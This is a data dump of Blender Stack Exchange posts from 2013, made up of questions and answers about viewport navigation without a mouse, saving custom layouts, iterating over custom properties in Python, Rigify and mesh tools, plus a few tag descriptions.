  <row Id="1510" PostTypeId="2" ParentId="1508" CreationDate="2013-06-29T16:56:58.120" Score="20" Body="&lt;p&gt;The simplest way to zoom with a tablet, in my opinion, is to use &lt;strong&gt;Emulate 3 Button Mouse&lt;/strong&gt; from &lt;em&gt;File &gt; User Preferences &gt; Input&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This allows you to zoom in and out with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LMB &lt;a href=&quot;https://i.stack.imgur.com/LYPcu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYPcu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/kbd&gt; drag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can also orbit with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;LMB &lt;a href=&quot;https://i.stack.imgur.com/LYPcu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYPcu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/kbd&gt; drag. And you can pan with &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;LMB &lt;a href=&quot;https://i.stack.imgur.com/LYPcu.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LYPcu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/kbd&gt; drag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/26ATb.png&quot; alt=&quot;Emulate 3 Button Mouse&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="25" LastEditDate="2015-10-28T08:58:45.070" LastActivityDate="2015-10-28T08:58:45.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1511" PostTypeId="1" CreationDate="2013-06-29T16:57:05.227" Score="23" ViewCount="47556" Body="&lt;p&gt;Is there a way to specify the coordinates of the viewport and direction that the viewport faces without using a mouse or pointing device, in other words, by entering numbers somewhere.&lt;/p&gt;&#xA;" OwnerDisplayName="user1595" LastEditorUserId="12" LastEditDate="2013-06-29T17:15:28.040" LastActivityDate="2015-10-25T19:12:10.020" Title="How can I control the viewport without a mouse?" Tags="&lt;3d-view&gt;" AnswerCount="6" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1512" PostTypeId="2" ParentId="1508" CreationDate="2013-06-29T17:21:22.570" Score="6" Body="&lt;p&gt;There are a number of ways to control the viewport zoom without access to a three-button mouse:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use keyboard to zoom in and out by using &lt;kbd&gt;numpad +&lt;/kbd&gt; and &lt;kbd&gt;numpad -&lt;/kbd&gt;. If you don't have a numpad on your keyboard, you can set Blender to emulate the numpad under &lt;em&gt;User Preferences &gt; Input &gt; Emulate Numpad&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you are using Blender on a tablet (or on a computer with a touchscreen), you can zoom in and out by using two fingers on the screen and moving them closer or farther away from each other, just like with other mobile applications.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;That being said&lt;/em&gt;&lt;/strong&gt;, you can purchase a three button mouse separately, and use that to manipulate the viewport. If you are going to be using Blender heavily on a device with no third-mouse-button, this can make an &lt;em&gt;enormous&lt;/em&gt; difference. For tablets specifically, you can get a wireless mouse with Bluetooth connectivity.&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2015-10-28T08:54:58.790" LastActivityDate="2015-10-28T08:54:58.790" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1513" PostTypeId="2" ParentId="1511" CreationDate="2013-06-29T17:22:17.313" Score="19" Body="&lt;p&gt;You won't have fine-tuned control of the viewport without a mouse, but there are extensive options for controlling it via the keyboard:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You can rotate the viewport using &lt;kbd&gt;2&lt;/kbd&gt;, &lt;kbd&gt;4&lt;/kbd&gt;, &lt;kbd&gt;6&lt;/kbd&gt;, and &lt;kbd&gt;8&lt;/kbd&gt;. You can also change between &quot;Perspective&quot; and &quot;Orthographic&quot; views by pressing &lt;kbd&gt;5&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;By holding &lt;kbd&gt;ctrl&lt;/kbd&gt; and any of the above, you can pan the view.&lt;/li&gt;&#xA;&lt;li&gt;You can press &lt;kbd&gt;/&lt;/kbd&gt; to switch between local and global view.&lt;/li&gt;&#xA;&lt;li&gt;You can use &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;2&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;6&lt;/kbd&gt; to roll the view, as of Blender 2.69 (r59707).&lt;/li&gt;&#xA;&lt;li&gt;You can centre the view on an object by pressing &quot;&lt;kbd&gt;.&lt;/kbd&gt;&quot; on the number pad.&lt;/li&gt;&#xA;&lt;li&gt;You can zoom in and out of the view using &lt;kbd&gt;+&lt;/kbd&gt; and &lt;kbd&gt;-&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You can access the current camera view with &lt;kbd&gt;0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;* &lt;strong&gt;Note:&lt;/strong&gt; &lt;em&gt;All of the number commands require that you either use your numberpad or enable &quot;emulate numpad&quot; in the preferences.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="72" LastEditorUserId="372" LastEditDate="2013-11-09T15:03:44.633" LastActivityDate="2013-11-09T15:03:44.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1514" PostTypeId="2" ParentId="1499" CreationDate="2013-06-29T17:33:03.333" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;http://oenvoyage.wordpress.com/tag/brender/&quot; rel=&quot;nofollow&quot;&gt;Brender renderfarm addon&lt;/a&gt; to Blender allows you to queue multiple renders, both from within the same file and from different .blend files. You can download the most recent version from &lt;a href=&quot;http://oenvoyage.github.com/brender/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://github.com/oenvoyage/brender/wiki&quot; rel=&quot;nofollow&quot;&gt;installation procedure&lt;/a&gt; is a little complicated, but once you have it set up, all you have to do is press the &quot;New Job&quot; button in the &lt;em&gt;Render&lt;/em&gt; menu.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-29T17:33:03.333" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1515" PostTypeId="2" ParentId="1477" CreationDate="2013-06-29T17:46:57.607" Score="4" Body="&lt;p&gt;It appears from your image that you have two lamps lighting the scene. The properly sized shadows from your sun lamp &lt;em&gt;are&lt;/em&gt; visible, but you also apparently have a spot lamp near the surface of the water, and that is causing the enlarged shadows. Look in the &lt;em&gt;Outliner&lt;/em&gt; panel to make sure you have this spot lamp disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vXcmW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aOceq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2013-06-29T17:46:57.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1516" PostTypeId="2" ParentId="1503" CreationDate="2013-06-29T18:57:56.950" Score="4" Body="&lt;p&gt;Blender's limited NURBS don't currently support this feature. The following addon adds similar but limited functionality.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Curve/Curve_Tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;Curve Tools&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Once installed and enabled. It's accessed via the &quot;Tool Shelf&quot; (&lt;kbd&gt;T&lt;/kbd&gt; to toggle).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Birail between 3 curves:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;-The order in which we select the curves and its direction its important to make this work right.&lt;br&gt;&#xA;  -First select the profile and then the 2 paths to create the birail.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhwTx.png&quot; alt=&quot;Three curves and Tool Shelf showing the Curve Tools &quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/NrNw2.png&quot; alt=&quot;Generated mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see this is demonstrated in the &lt;a href=&quot;http://vimeo.com/24868827#t=195&quot; rel=&quot;nofollow noreferrer&quot;&gt;introduction video&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="12" LastEditDate="2013-11-17T20:17:20.783" LastActivityDate="2013-11-17T20:17:20.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1517" PostTypeId="1" AcceptedAnswerId="1521" CreationDate="2013-06-29T19:03:09.993" Score="7" ViewCount="3842" Body="&lt;p&gt;I have a number of custom string properties that I added to my scene with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.prop1 = bpy.props.StringProperty()&#xA;bpy.types.Scene.prop2 = bpy.props.StringProperty()&#xA;# etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to be able to iterate over these properties to change their values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping I would be able to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for prop in bpy.types.Scene:&#xA;    prop = &quot;new value&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't work but I would be iterating over all Scene properties instead of only mine anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried adding my properties' names to a list so that I might be able to access only my custom properties and not all the scene properties:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prop_names = [&quot;prop1&quot;, &quot;prop2&quot;, etc...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then I didn't know how to use these, I was hoping to do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for prop in prop_names:&#xA;    bpy.types.Scene. + prop = &quot;new value&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This also didn't work. So how might I achieve something like this?    &lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="55" LastEditDate="2013-07-01T08:32:02.007" LastActivityDate="2013-07-01T08:32:02.007" Title="How to iterate over custom properties?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1518" PostTypeId="2" ParentId="1508" CreationDate="2013-06-29T19:31:21.310" Score="3" Body="&lt;h1&gt;Click on contact&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Setup your the graphics tablet to click when the tip is pressed. Then the other two buttons can be set to right and middle click. Now just use the default &lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;middle-mouse&lt;/kbd&gt; key-binding (can be customised user preferences).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;On GNU/Linux see the &quot;TPCButton&quot; and &quot;ButtonM&quot; settings in &lt;code&gt;man wacom&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;Gestures&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Additionally/Alternatively you can use a gesture-recognition application to convert gestures into keyboard/Blender commands.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Here on GNU/Linux I use &lt;a href=&quot;http://sourceforge.net/apps/trac/easystroke/&quot; rel=&quot;nofollow&quot;&gt;Easystroke&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-06-29T19:31:21.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1520" PostTypeId="1" CreationDate="2013-06-29T20:32:40.477" Score="20" ViewCount="14436" Body="&lt;p&gt;&lt;strong&gt;How can I save my custom layout&lt;/strong&gt; in Blender 2.67b?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the name of the default layout, clicking the plus-sign to the right of it, and &quot;Save User Settings&quot; in &lt;em&gt;User Preferences&lt;/em&gt; all don't work!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a bug? (because all the above does work in previous versions of Blender).&lt;/p&gt;&#xA;" OwnerUserId="863" LastEditorUserId="12" LastEditDate="2013-12-17T04:43:35.757" LastActivityDate="2017-10-14T18:51:40.993" Title="Save Custom Layout in Blender 2.67b?" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1521" PostTypeId="2" ParentId="1517" CreationDate="2013-06-29T20:38:30.730" Score="5" Body="&lt;p&gt;There are a few ways to use Python to inspect an objects properties, but in this case you're best off using &lt;code&gt;getattr&lt;/code&gt;, &lt;code&gt;setattr&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case you describe I think the best option is to store a list of properties,&#xA;mainly because there isn't a good way to know which properties &lt;strong&gt;you&lt;/strong&gt; created. (Blender doesn't track a properties owner).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for prop_id in prop_names:&#xA;    setattr(scene, prop_id, value)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... for completeness, to copy &lt;code&gt;scene_src -&amp;gt; scene_dst&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for prop_id in prop_names:&#xA;    setattr(scene_dst, prop_id, getattr(scene_src, prop_id))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, theres nothing spesific to custom propertes here, this is typical Python and world with &lt;strong&gt;any&lt;/strong&gt; properties (called attributes in Python)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-06-29T20:44:44.457" LastActivityDate="2013-06-29T20:44:44.457" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1522" PostTypeId="2" ParentId="1520" CreationDate="2013-06-29T20:39:14.353" Score="19" Body="&lt;p&gt;The User preferences such as addons have been &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.66/Usability#Split_User_Preferences_and_Startup_File&quot; rel=&quot;noreferrer&quot;&gt;separated from the startup .blend in Blender 2.66&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as of Blender 2.66 clicking &quot;save user settings&quot; in the &lt;em&gt;User Preferences&lt;/em&gt; menu will &lt;strong&gt;only&lt;/strong&gt; save settings such as enabled addons, themes, shortcuts/hotkeys, etc..&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;To save the current blendfile (includes layout(s)/materals/models/settings etc.. Pretty much everything.)  as the startup .blend, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt; and click &quot;save startup .blend&quot; (Note that this &lt;strong&gt;includes&lt;/strong&gt; &lt;em&gt;User Preference&lt;/em&gt; settings)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To save a different screen layout so it is accessible in the selector at the top of the window,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jbFuy.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press the &lt;kbd&gt;&lt;strong&gt;+&lt;/strong&gt;&lt;/kbd&gt; to the right of the drop down selector, Arrange the screen the way you want it, then name it whatever you want. (Note that to have it defaulted when you start Blender you then have to save the startup .blend (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-02T18:28:19.977" LastActivityDate="2013-07-02T18:28:19.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1523" PostTypeId="2" ParentId="1511" CreationDate="2013-06-29T20:54:05.330" Score="4" Body="&lt;p&gt;Besides what RolandiXor has listed, if you need better viewport control than what the numberpad provides, you can write a python script/plugin to orient the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_release/bpy.types.RegionView3D.html#bpy.types.RegionView3D.view_matrix&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;view_matrix&lt;/code&gt;&lt;/a&gt; is what controls the viewport orientation. You could, in theory...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;press the space-bar to bring up &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Interface/Menus&quot; rel=&quot;nofollow&quot;&gt;blender's command menu&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;select your script/plugin's &quot;Change viewport&quot; command&lt;/li&gt;&#xA;&lt;li&gt;then enter the desired view coordinates from the plugin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Though, I doubt you'll be able to do anything else useful in blender without a mouse.&lt;/p&gt;&#xA;" OwnerUserId="607" LastActivityDate="2013-06-29T20:54:05.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1524" PostTypeId="2" ParentId="1511" CreationDate="2013-06-29T21:06:51.463" Score="5" Body="&lt;p&gt;By default you can't navigate by entering numeric values, in fact I'm wondering why you would want to do this at all.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Lock to an object&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Since you ask - I would suggest that you use an object.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Add an empty object &lt;/li&gt;&#xA;&lt;li&gt;You may need to press &lt;kbd&gt;N&lt;/kbd&gt; to display the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Navigating/3D_View_Options#View_Properties_Panel&quot; rel=&quot;nofollow&quot;&gt;View properties panel&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;Enable 'Lock to Object' (in the view properties panel)&lt;/li&gt;&#xA;&lt;li&gt;Rotate the view to align to this objects axis using &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;1&lt;/kbd&gt;/&lt;kbd&gt;3&lt;/kbd&gt;/&lt;kbd&gt;7&lt;/kbd&gt; (numbers on the number pad)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you want to enter a number, you can using the object location/rotation. Or you can transform the object using numeric input.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;https://www.blender.org/manual/editors/3dview/navigate/3d_view.html#walk-fly-mode&quot; rel=&quot;nofollow&quot;&gt;Walk/Fly Mode&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Fly mode allows some keyboard navigation, Once you enter fly mode (Shift+F), you can move the view with WASD,RF keys for up/down. However you can't turn your head using this method, for that part you need the mouse.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note: If you happen to have a file with numbers I think it would be better to write a script that loads the view-ports into camera objects.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-10-12T03:13:09.383" LastActivityDate="2015-10-12T03:13:09.383" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1525" PostTypeId="5" CreationDate="2013-06-29T21:09:34.370" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-29T21:09:34.370" LastActivityDate="2013-06-29T21:09:34.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1526" PostTypeId="4" CreationDate="2013-06-29T21:09:34.370" Score="0" Body="Rigify is a bundled addon that provides a ready made character rig with custom controls. It is designed to help build full character rigs with a building block approach." OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-06-29T21:20:30.563" LastActivityDate="2013-06-29T21:20:30.563" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1528" PostTypeId="2" ParentId="1503" CreationDate="2013-06-29T21:29:35.643" Score="8" Body="&lt;p&gt;In Blender 2.68 &lt;em&gt;which will be released soon&lt;/em&gt;. has this built-in (but as a mesh tool).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recent testing build will have this available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access from the Face Menu: &lt;code&gt;Grid Fill&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPUfW.png&quot; alt=&quot;grid fille example&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/RU6rV.png&quot; alt=&quot;grid fille example&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="155" LastEditDate="2013-07-04T15:31:32.173" LastActivityDate="2013-07-04T15:31:32.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1529" PostTypeId="2" ParentId="1504" CreationDate="2013-06-29T21:42:21.093" Score="1" Body="&lt;p&gt;In the future, here are a list of things you can go through to try and identify &lt;em&gt;or&lt;/em&gt; fix the problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try clearing the rotation of the bone with &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt; &lt;em&gt;(this is a no brainer :)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check to see if any constraints are affecting the bone&lt;/li&gt;&#xA;&lt;li&gt;Check to see if you have made any changes to it in edit mode&lt;/li&gt;&#xA;&lt;li&gt;Make sure that none of the custom bone shapes on the last layer &lt;em&gt;(this is the default location)&lt;/em&gt; have been modified.&lt;/li&gt;&#xA;&lt;li&gt;Some of the bones have options under &lt;em&gt;Rig Main Properties&lt;/em&gt; that can revert them back to their original state/position&lt;/li&gt;&#xA;&lt;li&gt;Check to see if any keyframes have been accidentally added.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-06-29T21:42:21.093" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1530" PostTypeId="1" AcceptedAnswerId="1856" CreationDate="2013-06-29T21:46:40.020" Score="8" ViewCount="6756" Body="&lt;p&gt;I watched a tutorial which explained that scaling the finger controls would make them curl. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there more features like curl by scale in rigify which are not intuitively discoverable  ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6hIUT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12" LastEditDate="2013-07-16T19:52:50.453" LastActivityDate="2015-03-04T23:20:22.093" Title="What are the not so obvious features of Rigify?" Tags="&lt;add-on&gt;&lt;armature&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1531" PostTypeId="5" CreationDate="2013-06-29T21:53:18.757" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-29T21:53:18.757" LastActivityDate="2013-06-29T21:53:18.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1532" PostTypeId="4" CreationDate="2013-06-29T21:53:18.757" Score="0" Body="Duplication Vertices or Dupliverts are used to duplicate a base object to the locations of all the vertices in a mesh. Use this tag for any issues related to this." OwnerUserId="599" LastEditorUserId="12" LastEditDate="2013-06-29T21:58:27.787" LastActivityDate="2013-06-29T21:58:27.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1533" PostTypeId="2" ParentId="581" CreationDate="2013-06-29T22:39:30.067" Score="11" Body="&lt;h1&gt;Recorded hand held shake&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Select | Select Camera and (optionally) View | Camera&lt;/em&gt; or &lt;kbd&gt;numpad 0&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;In the Timeline window:&lt;/li&gt;&#xA;&lt;li&gt;Enable &lt;em&gt;Frame | Auto-Keyframing Mode | Add &amp;amp; Replace&lt;/em&gt; or simply use the &lt;img src=&quot;https://i.stack.imgur.com/lyOCD.png&quot; alt=&quot;record&quot; /&gt; button.&lt;/li&gt;&#xA;&lt;li&gt;Hit play (&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt;) and enter trackball rotation &lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; or grab &lt;kbd&gt;G&lt;/kbd&gt; mode.&lt;/li&gt;&#xA;&lt;li&gt;Move your pointing device around to generate the shake.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Note: You can get a more controlled (or violent) effect with different frame rate during recording.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="15924" LastEditDate="2020-12-04T19:56:58.670" LastActivityDate="2020-12-04T19:56:58.670" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1535" PostTypeId="5" CreationDate="2013-06-30T00:16:34.803" Score="0" Body="&lt;p&gt;The geometry of a scene is constructed from one or more objects. These objects can range from lights to illuminate your scene, basic 2D and 3D shapes to fill it with models, armatures to animate those models, to cameras to take pictures or make video of it all.&lt;/p&gt;&#xA;&lt;p&gt;Each Blender object type (mesh, light, curve, camera, etc.) is composed from two parts: an &lt;strong&gt;Object&lt;/strong&gt; and &lt;strong&gt;Object Data&lt;/strong&gt; (sometimes abbreviated to “ObData”):&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Object&lt;/strong&gt; - The object is like a &amp;quot;container&amp;quot; or a &amp;quot;box&amp;quot; for object data&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Holds information about the position, rotation and size of a particular element.&lt;/li&gt;&#xA;&lt;li&gt;Also holds Modifiers, physics and certain animations.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Object Data&lt;/strong&gt; - Is like the content of the &amp;quot;box&amp;quot;. For example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Meshes, curves, surfaces, metas:&lt;/strong&gt;  - Stores geometry (object shape), material list, vertex groups, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Cameras:&lt;/strong&gt;  -  Store focal length, depth of field, sensor size, etc.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Lights&lt;/strong&gt;  - Light strength, type (spot, point, area, sun) and the associated node tree.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Each object has a link to its associated &lt;a href=&quot;https://docs.blender.org/manual/en/latest/editors/properties_editor.html#object-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;object-data&lt;/a&gt;, and a single object-data may be shared by many objects.&lt;/p&gt;&#xA;&lt;p&gt;More info at the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/scene_layout/object/index.html#objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="19307" LastEditDate="2020-10-22T22:25:04.810" LastActivityDate="2020-10-22T22:25:04.810" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="1536" PostTypeId="4" CreationDate="2013-06-30T00:16:34.803" Score="0" Body="Questions related to any kind of object. (mesh, text, curve, etc.)" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2014-05-15T19:42:27.853" LastActivityDate="2014-05-15T19:42:27.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
